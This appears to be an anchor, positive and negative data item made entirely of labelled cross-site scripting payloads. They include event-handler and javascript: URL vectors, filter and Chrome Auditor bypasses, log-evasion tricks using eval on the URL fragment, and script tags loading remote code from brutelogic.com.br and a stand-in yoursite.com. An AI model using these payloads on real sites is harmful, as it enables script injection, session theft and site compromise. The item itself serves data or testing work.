anchor.diff:  <x contenteditable onpaste=alert(1)>@XSS Agnostic Event Handlers
   <script>alert(1)// @XSS Code ReuseInline Script
   <script>alert(1)<!–@XSS Code ReuseInline Script
  -<script src=//brutelogic.com.br/1.js>@XSS Code Reuse Regular Script
  +<script src=//yoursite.com/1.js>@XSS Code Reuse Regular Script
   <script src=//3334957647/1>@XSS Code Reuse Regular Script
   <x onxxx=alert(1) 1='@XSS Generic Source Breaking
   <script>alert(1)</script> @XSS Without Event Handlers
  
positive.code: <iframe src=javascript:alert(1)> @XSS Without Event Handlers
  <embed src=javascript:alert(1)> @XSS Without Event Handlers
  <a href=javascript:alert(1)>@XSS Without Event Handlers
  <math><brute href=javascript:alert(1)>@XSS Without Event Handlers
  <form action=javascript:alert(1)><input type=submit> @XSS Without Event Handlers
  <isindex action=javascript:alert(1) type=submit value=click> @XSS Without Event Handlers
  <form><button formaction=javascript:alert(1)>@XSS Without Event Handlers
  
negative.code: "><img src=1 onerror=alert(1)>.gif@XSS Injection in Filename
  <script src="data:&comma;alert(1)// @XSS Google Chrome Auditor Bypass
  "><script src=data:&comma;alert(1)// @XSS Google Chrome Auditor Bypass
  <script src="//yoursite.com&sol;1.js&num; @XSS Google Chrome Auditor Bypass
  "><script src=//yoursite.com&sol;1.js&num; @XSS Google Chrome Auditor Bypass
  <link rel=import href="data:text/html&comma;&lt;script&gt;alert(1)&lt;&ol;script&gt; ">@XSS Google Chrome Auditor Bypass
  <svg onload=eval(URL.slice(-8))>#alert(1)@XSS Server Log Avoidance
  <svg onload=eval(location.hash.slice(1)>#alert(1)@XSS Server Log Avoidance
  